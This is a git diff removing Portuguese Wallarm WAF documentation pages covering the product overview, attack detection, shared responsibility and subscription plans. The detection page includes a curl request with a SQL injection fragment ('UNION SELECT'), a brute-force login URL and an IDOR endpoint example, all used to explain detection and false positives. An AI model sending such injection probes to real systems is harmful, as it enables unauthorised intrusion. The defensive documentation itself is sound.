https://us1.my.wallarm.com/object/555 - - - Cliente: EmpresaTeste - Nuvem: EUA - ", - details:{ - client_name:"EmpresaTeste", - cloud:"EUA", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"exemplo.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Teste", - discovered_by:null, - threat:"Média", - type:"Info" - } - } -} -``` \ No newline at end of file diff --git a/docs/latest-pt-BR/about-wallarm/overview.md b/docs/latest-pt-BR/about-wallarm/overview.md deleted file mode 100644 index 60d56ec324..0000000000 --- a/docs/latest-pt-BR/about-wallarm/overview.md +++ /dev/null @@ -1,52 +0,0 @@ -# Visão geral da plataforma Wallarm - -A plataforma Wallarm é especialmente adequada para proteger suas aplicações em nuvem e APIs. Sua arquitetura híbrida protege seus recursos ao oferecer: - -* [Proteção contra ataques de hackers](protecting-against-attacks.md) com falsos positivos ultra baixos -* [Proteção contra bots que realizam abuso de API](../api-abuse-prevention/overview.md) -* [Descoberta de API](../api-discovery/overview.md) -* [Detecção automática de vulnerabilidades](detecting-vulnerabilities.md) - -A Wallarm consiste nos seguintes componentes principais: - -* O nó de filtragem Wallarm -* A Nuvem Wallarm - -## Nó de Filtragem - -O nó de filtragem Wallarm faz o seguinte: - -* Analisa todo o tráfego de rede da empresa e mitiga solicitações maliciosas -* Coleta as métricas de tráfego da rede e carrega as métricas na Nuvem Wallarm -* Baixa as regras de segurança específicas do recurso que você definiu na Nuvem Wallarm e as aplica durante a análise de tráfego - -Você implanta o nó de filtragem Wallarm em uma infraestrutura de rede por uma das [opções de implantação suportadas](../installation/supported-deployment-options.md). - -## Nuvem - -A Nuvem Wallarm faz o seguinte: - -* Processa as métricas que o nó de filtragem carrega -* Compila regras de segurança personalizadas específicas do recurso -* Varre os ativos expostos da empresa para detectar vulnerabilidades -* Constrói a estrutura da API com base nas métricas de tráfego recebidas do nó de filtragem - -A Wallarm administra instâncias de nuvem [americana](#us-cloud) e [europeia](#eu-cloud), com cada Cloud sendo completamente separada em termos de bancos de dados, endpoints de API, contas de cliente, etc. Um cliente registrado em uma Nuvem Wallarm não pode usar outra Nuvem Wallarm para gerenciar ou obter acesso aos seus dados armazenados na primeira Nuvem. - -Ao mesmo tempo, você pode usar ambas as Nuvens Wallarm. Neste caso, você precisará usar contas diferentes na Wallarm Console e endpoints da API para acessar e gerenciar suas informações nas Nuvens individuais. - -Os endpoints para as Nuvens Wallarm são fornecidos abaixo. - -### Nuvem dos EUA - -Localizada fisicamente nos EUA. - -* https://us1.my.wallarm.com/ para criar conta Wallarm -* `https://us1.api.wallarm.com/` para chamar métodos API - -### Nuvem da UE - -Localizada fisicamente na Holanda. - -* https://my.wallarm.com/ para criar conta Wallarm -* `https://api.wallarm.com/` para chamar métodos API diff --git a/docs/latest-pt-BR/about-wallarm/protecting-against-attacks.md b/docs/latest-pt-BR/about-wallarm/protecting-against-attacks.md deleted file mode 100644 index 2c1f77f4da..0000000000 --- a/docs/latest-pt-BR/about-wallarm/protecting-against-attacks.md +++ /dev/null @@ -1,323 +0,0 @@ -# Detectando ataques - -A plataforma Wallarm analisa continuamente o tráfego de aplicativos e mitiga solicitações maliciosas em tempo real. Neste artigo, você aprenderá os tipos de recursos que Wallarm protege de ataques, os métodos de detecção de ataques no tráfego e como você pode rastrear e gerenciar ameaças detectadas. - -## O que é um ataque e quais são os componentes de um ataque? - -**Ataque** é um único hit ou vários hits agrupados pelas seguintes características: - -* O mesmo tipo de ataque, o parâmetro com a carga útil maliciosa e o endereço para onde os hits foram enviados. Os hits podem vir do mesmo ou de diferentes endereços IP e ter diferentes valores das cargas úteis maliciosas dentro de um tipo de ataque. - - Este método de agrupamento de hits é básico e aplicado a todos os hits. -* O mesmo endereço IP de origem se o [trigger](../user-guides/triggers/trigger-examples.md#group-hits-originating-from-the-same-ip-into-one-attack) apropriado está habilitado. Outros valores de parâmetros de hit podem diferir. - - Este método de agrupamento de hits funciona para todos os hits, exceto para os dos tipos de ataque Brute force, Forced browsing, BOLA (IDOR), Resource overlimit, Data bomb e Virtual patch. - - Se os hits são agrupados por este método, o botão [**Marcar como falso positivo**](../user-guides/events/false-attack.md#mark-an-attack-as-a-false-positive) e a opção de [verificação ativa](detecting-vulnerabilities.md#active-threat-verification) estão indisponíveis para o ataque. - -Os métodos de agrupamento de hits listados acima não se excluem mutuamente. Se os hits possuírem características de ambos os métodos, eles serão agrupados em um único ataque. - -**Hit** é uma solicitação maliciosa serializada (solicitação maliciosa original e metadados adicionados pelo nó Wallarm). Se a Wallarm detectar várias cargas úteis maliciosas de diferentes tipos em uma solicitação, Wallarm registrará vários hits com cargas úteis de um tipo em cada um. - -**Carga maliciosa** é uma parte de uma solicitação original contendo os seguintes elementos: - -* Sinais de ataque detectados em uma solicitação. Se vários sinais de ataque caracterizando o mesmo tipo de ataque forem detectados em uma solicitação, apenas o primeiro sinal será gravado em uma carga útil. -* Contexto do sinal de ataque. Contexto é um conjunto de símbolos que precedem e fecham sinais de ataque detectados. Como o comprimento de uma carga útil é limitado, o contexto pode ser omitido se um sinal de ataque for de comprimento total de carga útil. - - Como os sinais de ataque não são usados ​​para detectar [ataques comportamentais](#behavioral-attacks), as solicitações enviadas como parte de ataques comportamentais têm cargas úteis vazias. - -## Tipos de ataque -A solução Wallarm protege APIs, microsserviços e aplicações web de ameaças OWASP API Top 10, abuso de API e outras ameaças automatizadas. - -Tecnicamente, [todos os ataques](../attacks-vulns-list.md) que podem ser detectados pelo Wallarm são divididos em grupos: - -* Ataques de validação de entrada -* Ataques comportamentais - -O método de detecção de ataques depende do grupo de ataque. Para detectar ataques comportamentais, é necessária uma configuração adicional do nó Wallarm. - -### Ataques de validação de entrada - -Ataques de validação de entrada incluem injeção SQL, cross‑site scripting, execução remota de código, Path Traversal e outros tipos de ataque. Cada tipo de ataque é caracterizado por combinações específicas de símbolos enviados nas solicitações. Para detectar ataques de validação de entrada, é necessário realizar análise de sintaxe das solicitações - analisá-las para detectar combinações específicas de símbolos. - -A Wallarm detecta ataques de validação de entrada em qualquer parte da solicitação, incluindo arquivos binários como SVG, JPEG, PNG, GIF, PDF, etc., usando as [ferramentas](#tools-for-attack-detection) listadas. - -A detecção de ataques de validação de entrada está habilitada para todos os clientes por padrão. - -### Ataques comportamentais - -Ataques comportamentais incluem as seguintes classes de ataque: - -* Ataques de força bruta: senhas e identificadores de sessão forçados, arquivos e diretórios de navegação forçada, preenchimento de credenciais. Ataques comportamentais podem ser caracterizados por um grande número de solicitações com diferentes valores de parâmetros forçados enviados para uma URL típica por um período de tempo limitado. - - Por exemplo, se um invasor força a senha, muitas solicitações semelhantes com diferentes valores de `senha` podem ser enviadas para a URL de autenticação do usuário: - - ```bash - https://example.com/login/?username=admin&password=123456 - ``` - -* Os ataques BOLA (IDOR) explorando a vulnerabilidade de mesmo nome. Esta vulnerabilidade permite que um invasor acesse um objeto por seu identificador através de uma solicitação de API e obtenha ou modifique seus dados ignorando um mecanismo de autorização. - - Por exemplo, se um invasor força identificadores de loja para encontrar um identificador real e obter os dados financeiros da loja correspondente: - - ```bash - https://example.com/shops/{shop_id}/financial_info - ``` - - Se a autorização não for necessária para tais solicitações de API, um invasor pode obter os dados financeiros reais e usá-los para seus próprios fins. - -#### Detecção de ataque comportamental - -Para detectar ataques comportamentais, é necessário conduzir a análise de sintaxe de solicitações e a análise de correlação do número de solicitações e o tempo entre solicitações. - -A análise de correlação é conduzida quando o limite do número de solicitações enviadas para autenticação de usuário ou diretório de arquivo de recurso ou uma URL de objeto específica é ultrapassado. O limite do número de solicitações deve ser ajustado para reduzir o risco de bloqueio de solicitações legítimas (por exemplo, quando o usuário insere a senha incorreta em sua conta várias vezes). - -* A análise de correlação é conduzida pelo módulo de pós-análise da Wallarm. -* A comparação do número de solicitações recebidas e o limite para o número de solicitações, e o bloqueio das solicitações são realizadas na Nuvem Wallarm. - -Quando um ataque comportamental é detectado, as fontes de solicitação são bloqueadas, ou seja, os endereços IP de onde as solicitações foram enviadas são adicionados à lista de bloqueio. - -#### Configuração de proteção contra ataques comportamentais - -Para proteger o recurso contra ataques comportamentais, é necessário definir o limite para a análise de correlação e URLs que são vulneráveis ​​a ataques comportamentais: - -* [Instruções de configuração de proteção contra força bruta](../admin-en/configuration-guides/protecting-against-bruteforce.md) -* [Instruções de configuração de proteção BOLA (IDOR)](../admin-en/configuration-guides/protecting-against-bola.md) - -!!! warning "Restrições de proteção contra ataques comportamentais" - Ao procurar sinais de ataque comportamental, os nós da Wallarm analisam apenas solicitações HTTP que não contêm sinais de outros tipos de ataque. Por exemplo, as solicitações não são consideradas como parte do ataque comportamental nos seguintes casos: - - * Essas solicitações contêm sinais de [ataques de validação de entrada](#input-validation-attacks). - * Essas solicitações correspondem à expressão regular especificada na [regra **Criar indicador de ataque com base em expressão regular**](../user-guides/rules/regex-rule.md#adding-a-new-detection-rule). - -## Tipos de recursos protegidos - -Os nós Wallarm analisam o tráfego HTTP e WebSocket enviado para os recursos protegidos: - -* A análise de tráfego HTTP é habilitada por padrão. - - Os nós Wallarm analisam o tráfego HTTP para [ataques de validação de entrada](#input-validation-attacks) e [ataques comportamentais](#behavioral-attacks). -* A análise de tráfego WebSocket deve ser habilitada adicionalmente através da diretiva [`wallarm_parse_websocket`](../admin-en/configure-parameters-en.md#wallarm_parse_websocket). - - Os nós Wallarm analisam o tráfego WebSocket apenas para [ataques de validação de entrada](#input-validation-attacks). - -A API de recurso protegido pode ser projetada com base nas seguintes tecnologias (limitado pelo plano de [assinatura](subscription-plans.md#subscription-plans) WAAP): - -* GraphQL -* gRPC -* WebSocket -* REST API -* SOAP -* XML-RPC -* WebDAV -* JSON-RPC - -## Processo de detecção de ataques - -Para detectar ataques, a Wallarm usa o seguinte processo: - -1. Determine o formato da solicitação e analise cada parte da solicitação conforme descrito no [documento sobre análise de solicitação](../user-guides/rules/request-processing.md). -2. Determine o ponto de extremidade ao qual a solicitação está endereçada. -3. Aplique [regras personalizadas para análise de solicitação](#custom-rules-for-request-analysis) configuradas no Console Wallarm. -4. Tome uma decisão se a solicitação é maliciosa ou não com base nas [regras de detecção padrão e personalizadas](#tools-for-attack-detection). - -## Ferramentas para detecção de ataque - -Para detectar solicitações maliciosas, os nós Wallarm analisam todas as solicitações enviadas para o recurso protegido usando as seguintes ferramentas: - -* Biblioteca **libproton** -* Biblioteca **libdetection** -* Regras personalizadas para análise de solicitação - -### Biblioteca libproton - -A biblioteca **libproton** é uma ferramenta principal para a detecção de solicitações maliciosas. A biblioteca usa o componente **proton.db** que determina diferentes sinais de tipo de ataque como sequências de tokens, por exemplo: `union select` para o [tipo de ataque de injeção SQL](https://www.wallarm.com/what/structured-query-language-injection-sqli-part-1). Se a solicitação contiver uma sequência de tokens que combine com a sequência de **proton.db**, essa solicitação é considerada um ataque do tipo correspondente. - -A Wallarm atualiza regularmente **proton.db** com sequências de tokens para novos tipos de ataque e para tipos de ataque já descritos. - -### Biblioteca libdetection - -#### Visão geral da libdetection - -A biblioteca [**libdetection**](https://github.com/wallarm/libdetection) valida adicionalmente ataques detectados pela biblioteca **libproton** da seguinte forma: - -* Se **libdetection** confirmar os sinais de ataque detectados por **libproton**, o ataque é bloqueado (se o nó de filtragem estiver funcionando no modo `block`) e enviado para a Nuvem Wallarm. -* Se **libdetection** não confirmar os sinais de ataque detectados por **libproton**, a solicitação é considerada legítima, o ataque não é enviado para a Nuvem Wallarm e não é bloqueado (se o nó de filtragem estiver funcionando no modo `block`). - -Usar **libdetection** garante a dupla detecção de ataques e reduz o número de falsos positivos. - -!!! info "Tipos de ataque validados pela biblioteca libdetection" - Atualmente, a biblioteca **libdetection** valida apenas ataques de Injeção SQL. - -#### Como a libdetection funciona - -A característica particular de **libdetection** é que ela analisa solicitações não apenas por sequências de tokens específicas para tipos de ataque, mas também pelo contexto em que a sequência de tokens foi enviada. - -A biblioteca contém strings de caracteres de diferentes sintaxes de tipo de ataque (Injeção SQL por enquanto). A string é nomeada como o contexto. Exemplo do contexto para o tipo de ataque de Injeção SQL: - -```curl -SELECT example FROM table WHERE id= -``` - -A biblioteca conduz a análise de sintaxe de ataque para combinar com os contextos. Se o ataque não combinar com os contextos, a solicitação não será definida como maliciosa e não será bloqueada (se o nó de filtragem estiver funcionando no modo `block`). - -#### Testando libdetection - -Para verificar a operação de **libdetection**, você pode enviar a seguinte solicitação legítima para o recurso protegido: - -```bash -curl "http://localhost/?id=1' UNION SELECT" -``` - -* A biblioteca **libproton** detectará `UNION SELECT` como o sinal de ataque de injeção SQL. Como `UNION SELECT` sem outros comandos não é um sinal do ataque de injeção SQL, **libproton** detecta um falso positivo. -* Se a análise de solicitações com a biblioteca **libdetection** estiver habilitada, o sinal de ataque de injeção SQL não será confirmado na solicitação. A solicitação será considerada legítima, o ataque não será enviado para a Nuvem Wallarm e não será bloqueado (se o nó de filtragem estiver funcionando no modo `block`). - -#### Gerenciando o modo libdetection - -!!! info "Modo padrão de libdetection" - O modo padrão da biblioteca **libdetection** é `on/true` (habilitado) para todas as [opções de implantação](../installation/supported-deployment-options.md). - -Você pode controlar o modo **libdetection** usando: - -* A diretiva [`wallarm_enable_libdetection`](../admin-en/configure-parameters-en.md#wallarm_enable_libdetection) para NGINX. -* O parâmetro [`enable_libdetection`](../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) para Envoy. -* Uma das [opções](../admin-en/configure-kubernetes-en.md#managing-libdetection-mode) para o controlador de ingressão Wallarm NGINX: - - * A anotação `nginx.ingress.kubernetes.io/server-snippet` para o recurso Ingress. - * O parâmetro `controller.config.server-snippet` do gráfico Helm. - -* A [anotação de pod](../installation/kubernetes/sidecar-proxy/pod-annotations.md#annotation-list) `wallarm-enable-libdetection` para a solução Wallarm Sidecar. -* A variável `libdetection` para a implantação [AWS Terraform](../installation/cloud-platforms/aws/terraform-module/overview.md#how-to-use-the-wallarm-aws-terraform-module). - -### Regras personalizadas para análise de solicitações - -Para ajustar a análise de solicitação padrão da Wallarm às especificidades do aplicativo protegido, os clientes Wallarm podem usar regras personalizadas dos seguintes tipos: - -* [Criar um patch virtual](../user-guides/rules/vpatch-rule.md) -* [Criar indicador de ataque com base em expressão regular](../user-guides/rules/regex-rule.md#adding-a-new-detection-rule) -* [Desativar detecção de ataque com base em expressão regular](../user-guides/rules/regex-rule.md#partial-disabling-of-a-new-detection-rule) -* [Ignorar certos tipos de ataque](../user-guides/rules/ignore-attack-types.md) -* [Permitir dados binários e tipos de arquivo](../user-guides/rules/ignore-attacks-in-binary-data.md) -* [Desativar / Ativar analisadores](../user-guides/rules/disable-request-parsers.md) -* [Ajuste fino da detecção de ataque overlimit_res](../user-guides/rules/configure-overlimit-res-detection.md) - -O conjunto de regras personalizadas [compilada](../user-guides/rules/rules.md) é aplicada junto com as regras padrão de **proton.db** ao analisar as solicitações. - -## Monitoramento e bloqueio de ataques - -A Wallarm pode processar ataques nos seguintes modos: - -* Modo de monitoramento: detecta, mas não bloqueia ataques. -* Modo de bloqueio seguro: detecta ataques, mas bloqueia apenas aqueles originados de IPs [em lista cinza](../user-guides/ip-lists/graylist.md). Solicitações legítimas originadas de IPs em lista cinza não são bloqueadas. -* Modo de bloqueio: detecta e bloqueia ataques. - -A Wallarm garante análise de qualidade das solicitações e baixo nível de falsos positivos. No entanto, cada aplicativo protegido tem suas próprias especificidades, por isso recomendamos analisar o trabalho do Wallarm no modo de monitoramento antes de habilitar o modo de bloqueio. - -Para controlar o modo de filtragem, a diretiva `wallarm_mode` é usada. Informações mais detalhadas sobre a configuração do modo de filtragem estão disponíveis no [link](../admin-en/configure-wallarm-mode.md). - -O modo de filtragem para ataques comportamentais é configurado separadamente por meio do [trigger](../admin-en/configuration-guides/protecting-against-bruteforce.md) específico. - -## Falsos positivos - -**Falso positivo** ocorre quando sinais de ataque são detectados na solicitação legítima ou quando uma entidade legítima é qualificada como uma vulnerabilidade. [Mais detalhes sobre falsos positivos na verificação de vulnerabilidade →](detecting-vulnerabilities.md#false-positives) - -Ao analisar solicitações em busca de ataques, a Wallarm utiliza o conjunto de regras padrão que fornece proteção ideal de aplicação com falsos positivos ultrabaixos. Devido às especificidades do aplicativo protegido, as regras padrão podem erroneamente reconhecer sinais de ataque em solicitações legítimas. Por exemplo: a injeção de SQL pode ser detectada na solicitação de adição de uma postagem com descrição de consulta SQL maliciosa ao Fórum do Administrador de Banco de Dados. - -Nesses casos, as regras padrão precisam ser ajustadas para acomodar as especificidades do aplicativo protegido usando os seguintes métodos: - -* Analise falsos positivos potenciais (filtrando todos os ataques pela [tag `!known`](../user-guides/search-and-filters/use-search.md#search-by-known-attacks-cve-and-wellknown-exploits)) e se confirmar falsos positivos, [marque](../user-guides/events/false-attack.md) ataques ou hits particulares adequadamente. A Wallarm criará automaticamente as regras desabilitando a análise das mesmas solicitações para os sinais de ataque detectados. -* [Desabilite a detecção de certos tipos de ataque](../user-guides/rules/ignore-attack-types.md) em solicitações específicas. -* [Desabilite a detecção de certos sinais de ataque em dados binários](../user-guides/rules/ignore-attacks-in-binary-data.md). -* [Desabilite analisadores erroneamente aplicados às solicitações](../user-guides/rules/disable-request-parsers.md). - -Identificar e lidar com falsos positivos é uma parte do ajuste fino de Wallarm para proteger seus aplicativos. Recomendamos implantar o primeiro nó Wallarm no [modo](#monitoring-and-blocking-attacks) de monitoramento e analisar os ataques detectados. Se alguns ataques forem erroneamente reconhecidos como ataques, marque-os como falsos positivos e mude o nó de filtragem para o modo de bloqueio. - -## Gerenciando ataques detectados - -Todos os ataques detectados são exibidos na seção Console Wallarm → **Eventos** pelo filtro `attacks`. Você pode gerenciar ataques pela interface da seguinte forma: - -* Visualizar e analisar ataques -* Aumentar a prioridade de um ataque na fila de verificação -* Marcar ataques ou hits separados como falsos positivos -* Criar regras para o processamento personalizado de hits separados - -Para obter mais informações sobre como gerenciar ataques, consulte as instruções sobre [como trabalhar com ataques](../user-guides/events/analyze-attack.md). - -![Visão de Ataques](../images/user-guides/events/check-attack.png) - -Além disso, a Wallarm fornece painéis de controle abrangentes para ajudá-lo a manter a postura de segurança do seu sistema. O painel de [prevenção de ameaças](../user-guides/dashboards/threat-prevention.md) da Wallarm fornece métricas gerais sobre a postura de segurança do seu sistema, enquanto o painel [OWASP API Security Top 10](../user-guides/dashboards/owasp-api-top-ten.md) oferece visibilidade detalhada da postura de segurança do seu sistema contra as ameaças OWASP API Top 10. - -![OWASP API Top 10](../images/user-guides/dashboard/owasp-api-top-ten-2023-dash.png) - -## Notificações sobre ataques detectados, hits e cargas úteis maliciosas - -Wallarm pode enviar notificações sobre ataques detectados, hits e cargas úteis maliciosas. Isso permite que você esteja ciente das tentativas de ataque ao seu sistema e analise o tráfego malicioso detectado prontamente. Analisar o tráfego malicioso inclui relatar falsos positivos, permitir IPs que originam solicitações legítimas e negar IPs de fontes de ataque. - -Para configurar notificações: - -1. Configure [integrações internas](../user-guides/settings/integrations/integrations-intro.md) com os sistemas para enviar notificações (por exemplo, PagerDuty, Opsgenie, Splunk, Slack, Telegram). -2. Defina as condições para o envio de notificações: - - * Para receber notificações a cada hit detectado, selecione a opção apropriada nas configurações de integração. - - ??? info "Veja o exemplo da notificação sobre hit detectado no formato JSON" - ```json - [ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } - ] - ``` - - * Para definir o limiar de ataque, hit ou número de carga útil maliciosa e receber notificações quando o limiar for excedido, configure os [triggers](../user-guides/triggers/triggers.md) apropriados. - - [Veja o exemplo do gatilho configurado e notificação →](../user-guides/triggers/trigger-examples.md#slack-notification-if-2-or-more-sqli-hits-are-detected-in-one-minute) - -## Vídeos demonstrativos - -
        - -
        diff --git a/docs/latest-pt-BR/about-wallarm/shared-responsibility.md b/docs/latest-pt-BR/about-wallarm/shared-responsibility.md deleted file mode 100644 index ca42a16eb1..0000000000 --- a/docs/latest-pt-BR/about-wallarm/shared-responsibility.md +++ /dev/null @@ -1,48 +0,0 @@ -# Modelo de segurança de responsabilidade compartilhada para dados de clientes - -A Wallarm se baseia em um modelo de segurança de responsabilidade compartilhada. Nesse modelo, todas as partes (Wallarm e seus clientes) têm diferentes áreas de responsabilidades quando se trata da segurança dos dados dos clientes, incluindo qualquer Informação de Identificação Pessoal (PII) e Dados do Portador do Cartão. - -A Wallarm é uma solução híbrida (parte software e parte SaaS) com dois principais componentes em diferentes áreas de responsabilidades: - -* Software **nó de filtragem Wallarm**, implantado em sua infraestrutura e gerenciado por você. O componente de nó Wallarm é responsável por filtrar solicitações de usuários finais, enviar solicitações seguras para seu aplicativo e bloquear solicitações mal-intencionadas. O nó Wallarm passa o tráfego e toma a decisão localmente se uma solicitação é mal-intencionada ou não. O tráfego NÃO é espelhado para a Wallarm Cloud para análise. -* **Nuvem Wallarm**, um componente de nuvem gerenciado pela Wallarm, é responsável por receber metainformações sobre solicitações processadas e ataques detectados pelos nós de filtragem; bem como gerar regras de filtragem específicas do aplicativo e torná-las disponíveis para os nós baixarem. Wallarm Console e API pública fornecem a você a capacidade de ver relatórios de segurança e eventos individuais; gerenciar regras de filtragem de tráfego, usuários do Wallarm Console, integrações externas, etc. - -![Esquema de Responsabilidades](../images/shared-responsibility.png) - -## Responsabilidades da Wallarm - -A Wallarm é responsável pelos seguintes pontos: - -* A segurança e disponibilidade dos ambientes de nuvem Wallarm, a segurança do código do nó de filtragem Wallarm e dos sistemas internos da Wallarm. - - Isso inclui, mas não se limita a: conserto de servidor, operação dos serviços necessários para fornecer o serviço de nuvem Wallarm, teste de vulnerabilidade, registro e monitoramento de eventos de segurança, gerenciamento de incidentes, monitoramento operacional e suporte 24/7. Wallarm também é responsável por gerenciar as configurações de firewall do servidor e perímetro (grupos de segurança) dos ambientes de nuvem Wallarm. - -* Atualizando o componente de nó de filtragem Wallarm periodicamente. Note que a aplicação dessas atualizações é responsabilidade do cliente. - -* Fornecer a você uma cópia do último relatório de auditoria Wallarm SOC 2 Tipo II, se solicitado. - -## Responsabilidades do cliente - -Os clientes Wallarm são responsáveis pelos seguintes pontos: - -* Implementação de controles internos sólidos e consistentes em relação ao acesso geral ao sistema de TI e à adequação do uso do sistema para todos os componentes internos associados à Wallarm, incluindo o nó de filtragem Wallarm e Wallarm Cloud. - -* Prática de remoção de contas de usuário para qualquer usuário que tenha sido demitido e que antes esteve envolvido em quaisquer funções ou atividades materiais associadas aos serviços da Wallarm. - -* Configurando as [regras de mascaramento de dados](../user-guides/rules/sensitive-data-rule.md) apropriadas para qualquer dado sensível que possa sair do perímetro de segurança do cliente e seja enviado para a Wallarm Cloud como parte do relatório de solicitações mal-intencionadas detectadas. - -* Garantir que as transações para as organizações clientes relacionadas aos serviços da Wallarm sejam apropriadamente autorizadas, e que as transações sejam seguras, oportunas e completas. - -* Notificar a Wallarm de maneira oportuna sobre quaisquer alterações no pessoal diretamente envolvido com os serviços prestados pela Wallarm. Esse pessoal pode estar envolvido em funções financeiras, técnicas ou administrativas auxiliares diretamente associadas aos serviços fornecidos pela Wallarm. - -* Atualizar os nós de filtragem com novas atualizações de software lançadas pela Wallarm de maneira oportuna. - -* Desenvolver e, se necessário, implementar um plano de continuidade de negócios e recuperação de desastres (BCDRP) que ajudará na continuação dos serviços fornecidos pela Wallarm. - -## Mascaramento de dados sensíveis - -Como acontece com qualquer serviço de terceiros, é importante que um cliente Wallarm entenda quais dados do cliente são enviados para a Wallarm e tenha certeza de que os dados sensíveis nunca chegarão à Wallarm Cloud. Recomenda-se que os clientes Wallarm com PCI DSS, GDPR e outros requisitos mascarem dados sensíveis usando regras especiais. - -Os únicos dados transmitidos dos nós de filtragem para a Wallarm Cloud que podem incluir detalhes sensíveis são informações sobre solicitações mal-intencionadas detectadas. É altamente improvável que uma solicitação mal-intencionada contenha dados sensíveis. No entanto, a abordagem recomendada é mascarar campos de solicitação HTTP que possam conter PII ou detalhes de cartão de crédito, como `token`, `senha`, `chave_api`, `email`, `numero_cartão`, etc. Usar essa abordagem garantirá que os campos de informação especificados nunca saiam do seu perímetro de segurança. - -Você pode aplicar uma regra especial chamada **Mascarar dados sensíveis** para especificar quais campos (no URI da solicitação, cabeçalhos ou corpo) devem ser omitidos ao enviar informações de ataque de um nó de filtragem para a Wallarm Cloud. Para obter informações adicionais sobre o mascaramento de dados, consulte o [documento](../user-guides/rules/sensitive-data-rule.md) ou entre em contato com a [equipe de suporte da Wallarm](mailto:request@wallarm.com). \ No newline at end of file diff --git a/docs/latest-pt-BR/about-wallarm/subscription-plans.md b/docs/latest-pt-BR/about-wallarm/subscription-plans.md deleted file mode 100644 index 64a56d227d..0000000000 --- a/docs/latest-pt-BR/about-wallarm/subscription-plans.md +++ /dev/null @@ -1,111 +0,0 @@ -# Planos de assinatura Wallarm - -Ao assinar o Wallarm, você escolhe um plano que melhor atende às necessidades do seu negócio. Neste documento, você pode aprender sobre os planos de assinatura disponíveis e as funcionalidades que eles habilitam. - -O Wallarm oferece os seguintes planos de assinatura: - -* **Cloud Native WAAP (Proteção de Aplicativos e API da Web)** que é um WAF de próxima geração que fornece proteção contra ameaças comuns para aplicativos web e APIs. -* **Segurança de API Avançada** fornece descoberta abrangente de API e prevenção de ameaças em todo o seu portfólio, independentemente do protocolo. - - O plano de assinatura de Segurança Avançada de API é vendido como um complemento para o Cloud Native WAAP. - -## Planos de assinatura - -| Recurso | Cloud Native WAAP | WAAP + Segurança Avançada de API | -| ------- | ----------------- | --------------------- | -| **Cobertura OWASP** | | | -| [Top 10 do OWASP](https://owasp.org/www-project-top-ten/) | Sim | Sim | -| [Top 10 de API do OWASP](https://owasp.org/www-project-api-security/) | Parcialmente ⁕ | Sim | -| **Tipos de recursos protegidos** | | | -| Aplicações Web | Sim | Sim | -| APIs | Parcialmente ⁕ | Sim | -| **Suporte ao protocolo API** | | | -| Legado (SOAP, XML-RPC, WebDAV, WebForm) | Sim | Sim | -| Mainstream (REST, GraphQL) | Sim | Sim | -| Moderno e streaming (gRPC, WebSocket) | Não | Sim | -| **Prevenção de ameaças em tempo real** | | | -| [Ataques de validação de entrada](../about-wallarm/protecting-against-attacks.md#input-validation-attacks), por exemplo, injeção SQL, RCE | Sim | Sim | -| [Correção virtual](../user-guides/rules/vpatch-rule.md) | Sim | Sim | -| [Filtragem geográfica](../user-guides/ip-lists/overview.md) | Sim | Sim | -| **Proteção contra ameaças automáticas** | | | -| [Proteção contra força bruta](../admin-en/configuration-guides/protecting-against-bruteforce.md) | Sim | Sim | -| [Proteção BOLA (IDOR)](../admin-en/configuration-guides/protecting-against-bola.md) | Configuração manual | Proteção automática | -| [Prevenção ao Abuso de API](../api-abuse-prevention/overview.md) | Não | Sim | -| **Opções de observabilidade** | | | -| [Descoberta de API](../api-discovery/overview.md) | Não | Sim | -| [Encontrando APIs sombra, órfãs e zumbis](../api-discovery/overview.md#shadow-orphan-and-zombie-apis) com a Descoberta de API | Não | Sim | -| [Detecção de dados sensíveis](../api-discovery/overview.md) | Não | Sim | -| **Testes de segurança e avaliação de vulnerabilidades** | | | -| [Verificação de ameaças ativas](../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) | Não | Sim | -| [Scanner de Vulnerabilidades](../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) | Não | Sim | -| **Monitoramento de eventos de segurança** | | | -| [Integrações](../user-guides/settings/integrations/integrations-intro.md) com SIEMs, messengers, etc | Todos | Todos | -| [Log de auditoria](../user-guides/settings/audit-log.md) | Sim | Sim | -| **Implementação** | | | -| [Opções de implementação](../installation/supported-deployment-options.md) | Todas | Todas | -| [Multitenant](../installation/multi-tenant/overview.md) | Sim (a pedido) | Sim (a pedido) | -| **Gerenciamento de usuários** | | | -| [Autenticação SSO (SAML) para usuários](../admin-en/configuration-guides/sso/intro.md) | Sim | Sim | -| **API Wallarm** | | | -| [Acesso à API Wallarm](../api/overview.md) | Sim | Sim | - -`⁕` Os recursos podem operar parcialmente quando dependem de funcionalidades não disponíveis, por exemplo, o WAAP protege parcialmente as APIs porque analisa as solicitações enviadas por meio do conjunto limitado de protocolos de API. - -Para ativar um plano de assinatura, envie um pedido para [sales@wallarm.com](mailto:sales@wallarm.com). O custo da assinatura será determinado com base no plano escolhido, em seu período e no [volume de tráfego de entrada](../admin-en/operation/learn-incoming-request-number.md). - -As informações sobre um plano ativo são exibidas no Console Wallarm → **Configurações** → [**Assinaturas**](../user-guides/settings/subscriptions.md). - -## Notificações de assinatura - -O Wallarm notifica **Administradores** e **Administradores Globais** de sua conta por e-mail sobre quaisquer problemas com uma assinatura: - -* Expiração do período de tempo da assinatura (60, 30, 15 dias antes e quando o período de tempo expirou) -* Excedência da cota mensal para solicitações processadas (quando 85% e 100% de uma cota foram alcançados) - -Além disso, a interface do usuário do Console Wallarm exibe a mensagem sobre problemas de assinatura para todos os usuários. - -## Plano de assinatura da camada gratuita (Nuvem dos EUA) - -Quando um novo usuário é registrado no Console Wallarm do **[US Cloud](overview.md#cloud)**, uma nova conta de cliente com um plano de assinatura **Free Tier** é automaticamente criada no sistema 